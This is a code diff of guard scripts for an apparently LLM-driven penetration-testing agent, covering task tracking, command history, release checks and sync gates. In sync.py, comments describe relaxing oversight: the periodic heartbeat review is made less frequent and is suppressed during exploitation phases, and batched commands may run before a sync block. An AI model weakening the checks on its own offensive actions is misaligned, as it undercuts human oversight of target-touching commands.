\"$ENG_DIR/state/ptt.md\"") + result.add_info( + 'bootstrap with: cp skills/pentest/templates/ptt.md "$ENG_DIR/state/ptt.md"' + ) result.print() return 1 if not re.fullmatch(r"PT-\d+", pt_id): result.add_error(f"--id must be a PT-XXX identifier (e.g. PT-016), got: {args.id!r}") result.print() return 1 - + # Normalize status: accept with or without brackets, convert to bracketed form status_char_map = {" ": "[ ]", "~": "[~]", "x": "[x]", "!": "[!]", "-": "[-]"} - if new_status_raw in VALID_STATUSES: + if new_status_raw is None: + # Omitted: allowed only in --create mode (defaults to Open). In status + # update mode the id would be present, so require an explicit --status. + new_status = "[ ]" + elif new_status_raw in VALID_STATUSES: new_status = new_status_raw elif new_status_raw in status_char_map: new_status = status_char_map[new_status_raw] @@ -80,27 +226,77 @@ def record_ptt(args: argparse.Namespace) -> int: # Single char like 'x', '~', ' ', '!', '-' new_status = status_char_map.get(new_status_raw, new_status_raw) else: - result.add_error(f"--status must be one of {sorted(VALID_STATUSES)} (e.g. '[x]', 'x', '[~]', '~'), got: {new_status_raw!r}") + result.add_error( + f"--status must be one of {sorted(VALID_STATUSES)} (e.g. '[x]', 'x', '[~]', '~'), got: {new_status_raw!r}" + ) result.print() return 1 lines = ptt_path.read_text(encoding="utf-8").splitlines(keepends=True) located = _find_ptt_row(lines, pt_id) - if located is None: - result.add_error(f"PT-XXX id {pt_id} not found in {ptt_path}") - result.add_info("open the PTT and verify the id exists in the current phase table") - result.print() - return 1 + # ---- Create mode: id not present -> create the row + section ---------- + if located is None: + if not create: + result.add_error(f"PT-XXX id {pt_id} not found in {ptt_path}") + result.add_info( + 'to add a new task row, re-run with --create --task "" ' + "(phase auto-inferred from the id; or pass --phase )" + ) + result.add_info("phases: " + _list_phases_and_next_ids(lines)) + result.print() + return 1 + if not task_text: + result.add_error('--create requires --task "" for the new row') + result.print() + return 1 + phase = phase_override or _infer_phase(pt_id) + insert_idx, data_cols = _ensure_phase_section(lines, phase) + # If a "(none yet)" placeholder row exists in this section, replace it + # directly with the new row so no stray blank line is left behind. + replace_idx = None + for k in range(insert_idx - 1, -1, -1): + if lines[k].strip().startswith("---"): + break + if "| (none yet)" in lines[k]: + replace_idx = k + break + # Build a new row with the right number of data columns. + initial_status = new_status + cells = [pt_id, initial_status, task_text] + if note: + cells.append(note) + while len(cells) < data_cols: + cells.append("—") + # Truncate if more cells than columns (keep id, status, task, note, ...). + if len(cells) > data_cols: + cells = cells[:2] + [" ".join(cells[2:])] if data_cols >= 3 else cells[:data_cols] + new_row = "| " + " | ".join(cells) + " |\n" + if replace_idx is not None: + lines[replace_idx] = new_row + else: + lines.insert(insert_idx, new_row) + # Bump the "Last updated:" footer. + now = datetime.now(UTC).strftime("%Y-%m-%d %H:%M UTC") + for i, line in enumerate(lines): + if line.lstrip().startswith("*Last updated"): + lines[i] = f"*Last updated: {now}*\n" + break + ptt_path.write_text("".join(lines), encoding="utf-8") + result.add_info( + f"PTT {pt_id} CREATED in {phase} phase" + (f" — {task_text}" if task_text else "") + ) + result.print() + return 0 + + # ---- Status-update mode: id present -------------------------------- idx, m = located old_marker = f"[{m.group(4)}]" # Replace the status marker in place new_char = new_status[1] # strip brackets, keep the inner char - rebuilt = ( - m.group(1) + pt_id + m.group(3) + f"[{new_char}]" + m.group(5) - ) + rebuilt = m.group(1) + pt_id + m.group(3) + f"[{new_char}]" + m.group(5) # Preserve the rest of the line (task text + evidence columns) - rest_of_line = lines[idx][m.end():] + rest_of_line = lines[idx][m.end() :] lines[idx] = rebuilt + rest_of_line # If a note was provided, append it to the Evidence / Notes column. @@ -118,14 +314,16 @@ def record_ptt(args: argparse.Namespace) -> int: lines[idx] = existing + sep + note + body[last_pipe:] + eol # Bump the "Last updated:" footer (last non-empty line starting with *Last updated) - now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + now = datetime.now(UTC).strftime("%Y-%m-%d %H:%M UTC") for i, line in enumerate(lines): if line.lstrip().startswith("*Last updated"): lines[i] = f"*Last updated: {now}*\n" break ptt_path.write_text("".join(lines), encoding="utf-8") - result.add_info(f"PTT {pt_id} status: {old_marker} → {new_status}" + (f" — {note}" if note else "")) + result.add_info( + f"PTT {pt_id} status: {old_marker} → {new_status}" + (f" — {note}" if note else "") + ) result.print() return 0 @@ -154,7 +352,9 @@ def record_history(args: argparse.Namespace) -> int: return 1 if not history_path.exists() or not history_path.is_file(): result.add_error(f"history.md not found (or is a directory): {history_path}") - result.add_info('initialise with: echo "# Command History — $(date +%F)" > "$ENG_DIR/state/history.md"') + result.add_info( + 'initialise with: echo "# Command History — $(date +%F)" > "$ENG_DIR/state/history.md"' + ) result.print() return 1 if not command: @@ -162,7 +362,7 @@ def record_history(args: argparse.Namespace) -> int: result.print() return 1 - ts = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") + ts = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%SZ") entry = f"- [{ts}] [{phase}] exit={exit_code}" if evidence: entry += f" evidence={evidence}" @@ -173,7 +373,9 @@ def record_history(args: argparse.Namespace) -> int: with history_path.open("a", encoding="utf-8") as fh: fh.write(entry) - result.add_info(f"history appended: [{phase}] exit={exit_code} `{safe_cmd[:60]}{'…' if len(safe_cmd) > 60 else ''}`") + result.add_info( + f"history appended: [{phase}] exit={exit_code} `{safe_cmd[:60]}{'…' if len(safe_cmd) > 60 else ''}`" + ) result.print() return 0 @@ -182,11 +384,15 @@ def _ptt_staleness_guard(ptt_path: Path) -> CheckResult: result = CheckResult() if not ptt_path.exists() or not ptt_path.is_file(): result.add_error(f"PTT missing: {ptt_path}") - result.add_info("bootstrap with: cp skills/pentest/templates/ptt.md \"$ENG_DIR/state/ptt.md\"") + result.add_info( + 'bootstrap with: cp skills/pentest/templates/ptt.md "$ENG_DIR/state/ptt.md"' + ) return result if _ptt_is_stale(ptt_path): result.add_error("PTT is stale: no PT-XXX row has moved past [ ]; update before advancing") - result.add_info("run: python scripts/violin_guard.py record-ptt --eng-dir \"$ENG_DIR\" --id --status [~] --note \"\"") + result.add_info( + 'run: python scripts/violin_guard.py record-ptt --eng-dir "$ENG_DIR" --id --status [~] --note ""' + ) return result @@ -195,14 +401,18 @@ def _history_staleness_guard(eng_dir: Path, lowered_command: str) -> CheckResult history_path = eng_dir / "state" / "history.md" if not history_path.exists() or not history_path.is_file(): result.add_error(f"history.md missing: {history_path}") - result.add_info('initialise with: echo "# Command History — $(date +%F)" > "$ENG_DIR/state/history.md"') + result.add_info( + 'initialise with: echo "# Command History — $(date +%F)" > "$ENG_DIR/state/history.md"' + ) return result text = history_path.read_text(encoding="utf-8") backtick_commands = re.findall(r"`([^`]+)`", text) if not backtick_commands: - # No commands recorded yet (fresh bootstrap). Soft warning, not a block, - # so the first target command after bootstrap is not hard-stopped. - result.add_warning("history.md has no recorded commands yet; record this command after it runs") + # Fresh bootstrap: the enforced executor records the command after the + # process exits. This must be informational rather than REVIEW; in + # manual mode REVIEW prevents execution and would deadlock the first + # command by demanding history before the command can run. + result.add_info("history.md is empty; this command will be recorded after it runs") return result # NOTE (root-cause fix, issue 2): the single exact-repeat "duplicate # command" warning was removed. It fired on *every* re-issue of a command diff --git a/scripts/guard/release.py b/scripts/guard/release.py index 5378b56..38e826f 100644 --- a/scripts/guard/release.py +++ b/scripts/guard/release.py @@ -3,30 +3,81 @@ from __future__ import annotations import argparse +import importlib import re +import subprocess +import sys from pathlib import Path -from guard.core import ROOT, as_list, load_yaml, CheckResult +ROOT = Path(__file__).resolve().parents[2] +SCRIPTS = ROOT / "scripts" +for import_path in (ROOT, SCRIPTS): + if str(import_path) not in sys.path: + sys.path.insert(0, str(import_path)) + +from guard.core import CheckResult, as_list, load_yaml # noqa: E402 def local_markdown_links(path: Path, text: str) -> list[str]: refs: set[str] = set() # Inline backtick references: `path/to/file.md` or `file.md` # Skip anything that looks like a shell command (starts with `cp `, `mkdir `, `cat `, `echo `, `ls `, etc.) - shell_command_prefixes = ("cp ", "mkdir ", "cat ", "echo ", "ls ", "cd ", "mv ", "rm ", "touch ", "chmod ", "python", "bash ", "sh ", "tar ", "grep ", "sed ", "awk ", "command ", "export ", "read_file", "write_file", "search_files", "terminal(", "clarify(", "session_search", "skill_view", "delegate_task") + shell_command_prefixes = ( + "cp ", + "mkdir ", + "cat ", + "echo ", + "ls ", + "cd ", + "mv ", + "rm ", + "touch ", + "chmod ", + "python", + "bash ", + "sh ", + "tar ", + "grep ", + "sed ", + "awk ", + "command ", + "export ", + "read_file", + "write_file", + "search_files", + "terminal(", + "clarify(", + "session_search", + "skill_view", + "delegate_task", + ) for match in re.findall(r"`([^`]+\.md)`", text): candidate = match.strip() # Skip shell command examples if any(candidate.startswith(prefix) for prefix in shell_command_prefixes): continue # Skip runtime paths under $ENG_DIR/ — they only exist per-engagement, not in the repo - if "$ENG_DIR" in candidate or "engagements/" in candidate or candidate.startswith("state/") or candidate.startswith("evidence/"): + if ( + "$ENG_DIR" in candidate + or "engagements/" in candidate + or candidate.startswith("state/") + or candidate.startswith("evidence/") + ): continue # Skip paths that are part of a longer shell command (e.g., "foo.md $ENG_DIR/") - if " " in candidate and not candidate.startswith(("./", "/", "skills/", "references/", "playbooks/", "templates/")): + if " " in candidate and not candidate.startswith( + ("./", "/", "skills/", "references/", "playbooks/", "templates/") + ): continue # Skip bare filenames that look like runtime artifacts - if candidate in {"hypotheses.md", "hypothesis-board.md", "ptt.md", "history.md", "phase-summary.md", "scope.yaml"}: + if candidate in { + "hypotheses.md", + "hypothesis-board.md", + "ptt.md", + "history.md", + "phase-summary.md", + "scope.yaml", + }: continue refs.add(candidate) # Markdown link references: [text](path/to/file.md) — only relative, no scheme @@ -43,13 +94,18 @@ def resolve_reference(base: Path, ref: str) -> Path: return Path() if cleaned.startswith("/"): return ROOT / cleaned.lstrip("/") - if cleaned.startswith("skills/") or cleaned in {"README.md", "SOUL.md", "PLAN.md", ".hermes.md"}: + if cleaned.startswith("skills/") or cleaned in { + "README.md", + "SOUL.md", + "PLAN.md", + ".hermes.md", + }: return ROOT / cleaned if cleaned.startswith(("playbooks/", "references/")): - skill_root = ROOT / "skills/pentest" - if base.is_relative_to(skill_root): - return base.parent / cleaned - return skill_root / cleaned + # Playbooks commonly refer to sibling skill folders as + # `references/foo.md` / `playbooks/foo.md`; resolve those from the + # pentest skill root, not from the playbook's own directory. + return ROOT / "skills/pentest" / cleaned if cleaned.startswith("templates/"): return ROOT / "skills/pentest" / cleaned return base.parent / cleaned @@ -57,7 +113,11 @@ def resolve_reference(base: Path, ref: str) -> Path: def check_release(_: argparse.Namespace) -> int: result = CheckResult() - for yaml_path in ("distribution.yaml", "config.yaml", "skills/pentest/templates/scope-template.yaml"): + for yaml_path in ( + "distribution.yaml", + "config.yaml", + "skills/pentest/templates/scope-template.yaml", + ): try: load_yaml(ROOT / yaml_path) result.add_info(f"YAML valid: {yaml_path}") @@ -69,13 +129,71 @@ def check_release(_: argparse.Namespace) -> int: if not (ROOT / str(item)).exists(): result.add_error(f"distribution_owned path missing: {item}") + declared_tools = as_list( + load_yaml(ROOT / "plugins/violin_guard/plugin.yaml").get("provides_tools") + ) + if len(declared_tools) != 18: + result.add_error(f"expected 18 plugin tools, found {len(declared_tools)}") + else: + result.add_info("18 plugin tools declared") + playbooks = sorted((ROOT / "skills/pentest/playbooks").glob("*.md")) if len(playbooks) != 31: result.add_error(f"expected 31 playbooks, found {len(playbooks)}") else: result.add_info("31 playbooks present") - phase_playbooks = {"scoping", "recon", "vuln-research", "exploitation", "reporting", "tools", "post-exploitation"} + templates = sorted((ROOT / "skills/pentest/templates").glob("*")) + if len(templates) != 10: + result.add_error(f"expected 10 templates, found {len(templates)}") + else: + result.add_info("10 templates present") + + try: + module = importlib.import_module("plugins.violin_guard") + if not module._TOOLS: + raise ImportError("plugin registered no tools") + result.add_info(f"plugin import passed ({len(module._TOOLS)} tools)") + except Exception as exc: # noqa: BLE001 - release check should report the cause + result.add_error(f"plugin import failed: {exc}") + + isolated_import = subprocess.run( + [ + sys.executable, + "-I", + "-c", + ( + "import sys; " + f"sys.path.insert(0, {str(ROOT)!r}); " + "import plugins.violin_guard; " + "print('plugin-isolated-import-ok')" + ), + ], + cwd=ROOT.parent, + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + timeout=30, + check=False, + ) + if isolated_import.returncode: + result.add_error( + "plugin isolated import failed: " + + (isolated_import.stdout + isolated_import.stderr).strip() + ) + else: + result.add_info("plugin isolated import passed") + + phase_playbooks = { + "scoping", + "recon", + "vuln-research", + "exploitation", + "reporting", + "tools", + "post-exploitation", + } for playbook in playbooks: text = playbook.read_text(encoding="utf-8") if playbook.stem not in phase_playbooks: @@ -83,16 +201,26 @@ def check_release(_: argparse.Namespace) -> int: if section not in text: result.add_error(f"{playbook.relative_to(ROOT)} missing {section}") if re.search(r"\./evidence\b|\./report\b", text): - result.add_error(f"{playbook.relative_to(ROOT)} contains stale ./evidence or ./report path") + result.add_error( + f"{playbook.relative_to(ROOT)} contains stale ./evidence or ./report path" + ) - for md_path in [ROOT / "README.md", ROOT / "SOUL.md", ROOT / ".hermes.md", ROOT / "skills/pentest/SKILL.md", *playbooks]: + for md_path in [ + ROOT / "README.md", + ROOT / "SOUL.md", + ROOT / ".hermes.md", + ROOT / "skills/pentest/SKILL.md", + *playbooks, + ]: text = md_path.read_text(encoding="utf-8") for ref in local_markdown_links(md_path, text): resolved = resolve_reference(md_path, ref) if str(resolved) == ".": continue if not resolved.exists(): - result.add_error(f"{md_path.relative_to(ROOT)} references missing markdown file: {ref}") + result.add_error( + f"{md_path.relative_to(ROOT)} references missing markdown file: {ref}" + ) readme = (ROOT / "README.md").read_text(encoding="utf-8") if "fully autonomous" in readme.lower(): @@ -103,6 +231,25 @@ def check_release(_: argparse.Namespace) -> int: if not (ROOT / "scripts/smoke-test.ps1").exists(): result.add_error("Windows smoke test missing: scripts/smoke-test.ps1") + if not result.errors: + test = subprocess.run( + [sys.executable, "-m", "pytest", "-q", "-p", "no:cacheprovider"], + cwd=ROOT, + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + timeout=180, + check=False, + ) + if test.returncode: + result.add_error( + "pytest failed during release validation: " + + (test.stdout + test.stderr).strip()[-2000:] + ) + else: + result.add_info("pytest passed") + if not result.errors and not result.warnings: result.add_info("release check passed") result.print() diff --git a/scripts/guard/scope.py b/scripts/guard/scope.py index f665fca..91bfe30 100644 --- a/scripts/guard/scope.py +++ b/scripts/guard/scope.py @@ -4,9 +4,8 @@ from __future__ import annotations import argparse from pathlib import Path -from typing import Any -from guard.core import as_list, load_yaml, CheckResult, validate_scope_data +from guard.core import CheckResult, load_yaml, validate_scope_data def validate_scope(args: argparse.Namespace) -> int: @@ -14,7 +13,9 @@ def validate_scope(args: argparse.Namespace) -> int: if not scope_path.exists(): result = CheckResult() result.add_error(f"scope file not found: {scope_path}") - result.add_info("BOOTSTRAP REQUIRED: run the engagement bootstrap from playbooks/scoping.md §0 before any target interaction") + result.add_info( + "BOOTSTRAP REQUIRED: run the engagement bootstrap from playbooks/scoping.md §0 before any target interaction" + ) result.print() return 1 result = validate_scope_data(load_yaml(scope_path)) diff --git a/scripts/guard/sync.py b/scripts/guard/sync.py index 5695ff1..7d4e797 100644 --- a/scripts/guard/sync.py +++ b/scripts/guard/sync.py @@ -8,7 +8,7 @@ enforcement is identical no matter which entry point the LLM uses. State files live under ``/state/``: .violin_last_check.json - last approved command (continuity) .violin_pending_sync.json - a command was approved but its artifacts - (ptt.md / history.md / hypothesis-board.md) + (state/ptt.md / state/history.md / hypotheses.md) have not yet been verified fresh .violin_heartbeat.json - command + message counters .violin_heartbeat_pending.json - a periodic coarse review is due @@ -18,19 +18,28 @@ from __future__ import annotations import json import re -from datetime import datetime, timezone +from contextlib import suppress +from datetime import UTC, datetime from pathlib import Path # Cadence. A doc-sync gate fires after *every* approved target command; a # heartbeat (full engagement-file review) fires every COMMAND_INTERVAL commands -# or every MESSAGE_INTERVAL messages. -COMMAND_INTERVAL = 5 -MESSAGE_INTERVAL = 10 +# or every MESSAGE_INTERVAL messages. Raised from the old 5/10 (issue 2/3) so +# active exploitation — iterating 5-6 payload variants to find the right exfil — +# isn't interrupted mid-flow. EXPLOITATION / POST_EXPLOITATION additionally +# suppress the heartbeat gate entirely (see heartbeat_suppressed). +COMMAND_INTERVAL = 20 +MESSAGE_INTERVAL = 30 # How many times the exact same command may be re-issued before check-command # hard-blocks it and forces the LLM to stop retrying and do research instead. RETRY_LIMIT = 3 +# Phases where the periodic heartbeat re-read gate is suppressed. The agent is +# iterating payloads; a forced full re-read of engagement files mid-flow wastes +# the limited tool-call budget. Recon / vuln-research / reporting keep cadence. +HEARTBEAT_SUPPRESS_PHASES = {"EXPLOITATION", "POST_EXPLOITATION"} + # A pending-sync lock older than this many hours is treated as stale — almost # certainly a leftover from a *prior* session that approved a command, ran it, # recorded history, but died before calling sync-done. Auto-expire it so a @@ -38,6 +47,13 @@ RETRY_LIMIT = 3 # 12h comfortably spans an active session while expiring next-day leftovers. PENDING_SYNC_TTL_HOURS = 12 +# A *proactively* shorter TTL (issue 3 + mem0): if a pending lock's command +# string already appears in history.md (command ran + recorded, only the +# explicit sync-done was missed), auto-clear it once it passes this window +# instead of waiting a full 12h. Drops locks left by a session that died +# mid-flow without wedging the next one. +PROACTIVE_SYNC_TTL_HOURS = 2 + # --------------------------------------------------------------------------- # # state dir / paths @@ -68,11 +84,15 @@ def _heartbeat_pending_path(eng_dir: str) -> Path: # last approved command (continuity) # --------------------------------------------------------------------------- # def record_ok_check(eng_dir: str, command: str, phase: str) -> None: - _last_check_path(eng_dir).write_text(json.dumps({ - "command": command, - "phase": phase, - "ts": datetime.now(timezone.utc).isoformat(), - })) + _last_check_path(eng_dir).write_text( + json.dumps( + { + "command": command, + "phase": phase, + "ts": datetime.now(UTC).isoformat(), + } + ) + ) def last_ok_check(eng_dir: str) -> dict | None: @@ -80,7 +100,7 @@ def last_ok_check(eng_dir: str) -> dict | None: if not p.exists(): return None try: - return json.loads(p.read_text()) + return json.loads(p.read_text(encoding="utf-8", errors="replace")) except Exception: return None @@ -90,17 +110,83 @@ def last_ok_check(eng_dir: str) -> dict | None: # --------------------------------------------------------------------------- # def mark_pending_sync(eng_dir: str, command: str, phase: str) -> None: """Called after a command is approved & returned to the operator.""" - _pending_sync_path(eng_dir).write_text(json.dumps({ - "command": command, - "phase": phase, - "ts": datetime.now(timezone.utc).isoformat(), - })) + _pending_sync_path(eng_dir).write_text( + json.dumps( + { + "command": command, + "phase": phase, + "ts": datetime.now(UTC).isoformat(), + } + ) + ) def clear_pending_sync(eng_dir: str) -> None: p = _pending_sync_path(eng_dir) if p.exists(): p.unlink() + # Reset the sync-credit window so the next approved command starts a fresh + # batch (the agent just reconciled, so the window is refilled). + _reset_sync_credit(eng_dir) + + +# --- Sync-credit sliding window (issue 1) --------------------------------- +# Each approved *target-touching* command spends one credit. The doc-sync gate +# only BLOCKS once the credit hits 0, so the agent may dispatch a batch of +# DEFAULT_SYNC_CREDIT commands, record artifacts once at batch end, then call +# sync-done a single time — instead of the old per-command 3-call tax. The +# window is a hard trust bound: it cannot be bypassed by simply never syncing. +DEFAULT_SYNC_CREDIT = 5 + +# Burst mode is explicitly pre-approved as one unit, so it may exceed the +# normal five-command sync window for exploit/race sequences. Keep it bounded: +# unbounded command files bypass the trust window and can create huge tool +# responses even though full output is already persisted as evidence. +MAX_BURST_COMMANDS = 20 + + +def _sync_credit_path(eng_dir: str) -> Path: + return state_dir(eng_dir) / ".violin_sync_credit.json" + + +def _reset_sync_credit(eng_dir: str) -> None: + _sync_credit_path(eng_dir).write_text( + json.dumps( + { + "remaining": DEFAULT_SYNC_CREDIT, + "ts": datetime.now(UTC).isoformat(), + } + ) + ) + + +def sync_credit_remaining(eng_dir: str) -> int: + """Credits left in the current doc-sync batch window (issue 1).""" + p = _sync_credit_path(eng_dir) + if not p.exists(): + # No window yet -> a full window is available. + _reset_sync_credit(eng_dir) + return DEFAULT_SYNC_CREDIT + try: + rec = json.loads(p.read_text(encoding="utf-8", errors="replace")) + return int(rec.get("remaining", DEFAULT_SYNC_CREDIT)) + except Exception: + _reset_sync_credit(eng_dir) + return DEFAULT_SYNC_CREDIT + + +def spend_sync_credit(eng_dir: str) -> int: + """Decrement the window by one and return the new remaining count.""" + rem = max(0, sync_credit_remaining(eng_dir) - 1) + _sync_credit_path(eng_dir).write_text( + json.dumps( + { + "remaining": rem, + "ts": datetime.now(UTC).isoformat(), + } + ) + ) + return rem def _pending_ts(rec: dict) -> float: @@ -111,7 +197,7 @@ def _pending_ts(rec: dict) -> float: try: parsed = datetime.fromisoformat(s.replace("Z", "+00:00")) if parsed.tzinfo is None: - parsed = parsed.replace(tzinfo=timezone.utc) + parsed = parsed.replace(tzinfo=UTC) return parsed.timestamp() except Exception: return -1.0 @@ -158,13 +244,11 @@ def has_pending_sync(eng_dir: str) -> dict | None: if not p.exists(): return None try: - rec = json.loads(p.read_text()) + rec = json.loads(p.read_text(encoding="utf-8", errors="replace")) except Exception: # Unreadable lock is treated as stale -> clear and unblock. - try: + with suppress(OSError): p.unlink() - except OSError: - pass return None hist = Path(eng_dir) / "state" / "history.md" if not hist.exists(): @@ -172,24 +256,51 @@ def has_pending_sync(eng_dir: str) -> dict | None: # engagement tree -> the pending command was released but never # executed. The lock is a leftover (the incident case) and would # otherwise wedge every later session. Clear it. - try: + with suppress(OSError): p.unlink() - except OSError: - pass return None # TTL auto-expire: a lock older than PENDING_SYNC_TTL_HOURS is a leftover - # from a prior session (command recorded in history but sync-done never - # called). Expire it so a fresh session is not wedged. - age = datetime.now(timezone.utc).timestamp() - _pending_ts(rec) + # from a prior work-block (command recorded in history but sync-done never + # called). Expire it so current-session recovery is not wedged. + age = datetime.now(UTC).timestamp() - _pending_ts(rec) if _pending_ts(rec) > 0 and age > PENDING_SYNC_TTL_HOURS * 3600: - try: + with suppress(OSError): p.unlink() - except OSError: - pass return None + # Proactive stale-lock auto-clear (issue 3 + mem0): a lock that is NOT yet + # at the 12h hard-TTL but still looks stale — the pending command string is + # already present in history.md (i.e. the command ran and was recorded) yet + # sync-done was never called — is auto-cleared once it passes a much shorter + # 2h TTL. This drops locks left by a prior session that died mid-flow (out- + # bound callback dropped, box reset) without waiting a full day, while a + # still-warm current-session lock (just approved, not yet run) is preserved. + if _pending_ts(rec) > 0 and age > PROACTIVE_SYNC_TTL_HOURS * 3600: + hist = Path(eng_dir) / "state" / "history.md" + if hist.exists(): + try: + text = hist.read_text(encoding="utf-8") + pend_cmd = (rec or {}).get("command", "") + if pend_cmd and pend_cmd.strip() in text: + # command already recorded -> doc-sync effectively done, + # only the explicit sync-done was missed -> clear it. + p.unlink() + return None + except OSError: + pass return rec +def heartbeat_suppressed(phase: str) -> bool: + """True when the periodic heartbeat re-read gate is suppressed for ``phase``. + + Exploitation / post-exploitation iterate payloads; a forced full re-read of + engagement files mid-flow wastes the limited tool-call budget (issue 2), so + the heartbeat gate is suppressed there. Callers should still run the safety + gate (scope, patterns, freshness) — only the periodic *re-read* is skipped. + """ + return (phase or "").upper() in HEARTBEAT_SUPPRESS_PHASES + + def artifacts_are_fresh(eng_dir: str, pending: dict) -> bool: """Verify the tracking artifacts were updated AFTER the pending command ts. @@ -220,7 +331,7 @@ def artifacts_are_fresh(eng_dir: str, pending: dict) -> bool: try: parsed = _dt.fromisoformat(s.replace("Z", "+00:00")) if parsed.tzinfo is None: - parsed = parsed.replace(tzinfo=timezone.utc) + parsed = parsed.replace(tzinfo=UTC) return parsed.timestamp() except Exception: pass @@ -229,7 +340,7 @@ def artifacts_are_fresh(eng_dir: str, pending: dict) -> bool: for fmt in ("%Y-%m-%d %H:%M", "%Y-%m-%dT%H:%M", "%Y-%m-%d %H:%M:%S"): try: parsed = _dt.strptime(s2, fmt) - return parsed.replace(tzinfo=timezone.utc).timestamp() + return parsed.replace(tzinfo=UTC).timestamp() except Exception: continue # 3) Unparseable / placeholder stamp (e.g. "") is @@ -239,8 +350,10 @@ def artifacts_are_fresh(eng_dir: str, pending: dict) -> bool: # Strip markdown wrapping (*, **, - ) from a "*Last updated: ...*" style line # and return the bare label (lower) + value, or (None, None) if not a # "last updated"/"updated" field. - _FIELD_RE = re.compile(r"^\s*(?:[-*]\s*)?\**\s*(last updated|updated)\s*[:*]\s*\**\s*(.*?)\s*\**\s*$", - re.IGNORECASE) + _FIELD_RE = re.compile( + r"^\s*(?:[-*]\s*)?\**\s*(last updated|updated)\s*[:*]\s*\**\s*(.*?)\s*\**\s*$", + re.IGNORECASE, + ) d = Path(eng_dir) pending_ts = _ts(pending.get("ts", "")) @@ -249,11 +362,20 @@ def artifacts_are_fresh(eng_dir: str, pending: dict) -> bool: # resolution. Comparing directly would make a same-minute update look # stale, so we floor the pending ts to the minute for the freshness check. pending_min = pending_ts - (pending_ts % 60) + # 1) history continuity + def _norm_command_text(text: str) -> str: + return re.sub(r"\s+", " ", (text or "").strip()).lower() + hist = d / "state" / "history.md" - if not (hist.exists() and pending.get("command", "") in hist.read_text(encoding="utf-8", errors="ignore")): + pending_command = _norm_command_text(pending.get("command", "")) + if not ( + hist.exists() + and pending_command + and pending_command in _norm_command_text(hist.read_text(encoding="utf-8", errors="ignore")) + ): return False - # 2) ptt freshness (deployed at state/ptt.md) + ptt = d / "state" / "ptt.md" if ptt.exists(): freshest = 0.0 @@ -289,7 +411,7 @@ def _read_counts(eng_dir: str) -> dict: p = _heartbeat_count_path(eng_dir) if p.exists(): try: - return json.loads(p.read_text()) + return json.loads(p.read_text(encoding="utf-8", errors="replace")) except Exception: pass return {"command_count": 0, "message_count": 0} @@ -312,11 +434,26 @@ def tick_message(eng_dir: str) -> int: def set_heartbeat_pending(eng_dir: str, reason: str) -> None: - _heartbeat_pending_path(eng_dir).write_text(json.dumps({ - "reason": reason, - "skill_review_required": True, - "ts": datetime.now(timezone.utc).isoformat(), - })) + # Suppress the heartbeat re-read gate during exploitation / post-exploitation + # (issue 2): the agent is iterating payloads and a forced full re-read of + # engagement files mid-flow wastes the limited tool-call budget. The safety + # gate (scope / patterns / freshness) still runs; only the periodic *re-read* + # signal is skipped. + phase = "" + m = re.search(r"phase[=:]?\s*([A-Za-z_]+)", reason) + if m: + phase = m.group(1).upper().replace("-", "_") + if heartbeat_suppressed(phase): + return + _heartbeat_pending_path(eng_dir).write_text( + json.dumps( + { + "reason": reason, + "skill_review_required": True, + "ts": datetime.now(UTC).isoformat(), + } + ) + ) def has_heartbeat_pending(eng_dir: str) -> dict | None: @@ -324,7 +461,7 @@ def has_heartbeat_pending(eng_dir: str) -> dict | None: if not p.exists(): return None try: - return json.loads(p.read_text()) + return json.loads(p.read_text(encoding="utf-8", errors="replace")) except Exception: return None diff --git a/scripts/hypothesis_guard.py b/scripts/hypothesis_guard.py index 107972e..fb5fc96 100644 --- a/scripts/hypothesis_guard.py +++ b/scripts/hypothesis_guard.py @@ -15,10 +15,8 @@ from __future__ import annotations import argparse import re import sys -from dataclasses import dataclass, field +from dataclasses import dataclass from pathlib import Path -from typing import Any - ROOT = Path(__file__).resolve().parents[1] @@ -101,7 +99,9 @@ def record_hypothesis(args: argparse.Namespace) -> int: return 1 if not hypotheses_path.exists(): result.add_error(f"hypotheses.md not found: {hypotheses_path}") - result.add_info("bootstrap with: cp skills/pentest/templates/hypothesis-board.md \"$ENG_DIR/hypotheses.md\"") + result.add_info( + 'bootstrap with: cp skills/pentest/templates/hypothesis-board.md "$ENG_DIR/hypotheses.md"' + ) result.print() return 1 @@ -128,17 +128,19 @@ def record_hypothesis(args: argparse.Namespace) -> int: target_host = (args.target or "").strip() if not target_host: import re as _re - _m = _re.search(r"([0-9]{1,3}(?:\.[0-9]{1,3}){3}|[0-9a-fA-F:]+|[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})", eng_dir.name) + + _m = _re.search( + r"([0-9]{1,3}(?:\.[0-9]{1,3}){3}|[0-9a-fA-F:]+|[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})", + eng_dir.name, + ) target_host = _m.group(1) if _m else "unknown-host" hypotheses = _parse_hypotheses(hypotheses_path) update_id = (args.id or "").strip().upper() target_hyp = None - target_index = None - for idx, hypothesis in enumerate(hypotheses): + for _idx, hypothesis in enumerate(hypotheses): if hypothesis.id.upper() == update_id: target_hyp = hypothesis - target_index = idx break fields = { @@ -191,7 +193,9 @@ def record_hypothesis(args: argparse.Namespace) -> int: ) new_text, subs = pattern.subn(replacement, text) if subs != 1: - result.add_error(f"failed to update hypothesis block {target_hyp.id}; match count={subs}") + result.add_error( + f"failed to update hypothesis block {target_hyp.id}; match count={subs}" + ) result.print() return 1 hypotheses_path.write_text(new_text, encoding="utf-8") @@ -212,7 +216,9 @@ def check_hypothesis(args: argparse.Namespace) -> int: return 1 if not hypotheses_path.exists(): result.add_error(f"hypotheses.md not found: {hypotheses_path}") - result.add_info("bootstrap with: cp skills/pentest/templates/hypothesis-board.md \"$ENG_DIR/hypotheses.md\"") + result.add_info( + 'bootstrap with: cp skills/pentest/templates/hypothesis-board.md "$ENG_DIR/hypotheses.md"' + ) result.print() return 1 @@ -245,14 +251,16 @@ def check_hypothesis(args: argparse.Namespace) -> int: ) result.add_info( "run: python scripts/hypothesis_guard.py record-hypothesis " - f"--eng-dir \"$ENG_DIR\" --service {service} --port {port} " - "--status researching --title \"\" --rationale \"\"" + f'--eng-dir "$ENG_DIR" --service {service} --port {port} ' + '--status researching --title "" --rationale ""' ) result.print() return 1 if requires_research and all(hypothesis.status != "verified" for hypothesis in verified): - result.add_warning(f"hypothesis for {service}:{port} is only researching; verified entry required before exploitation") + result.add_warning( + f"hypothesis for 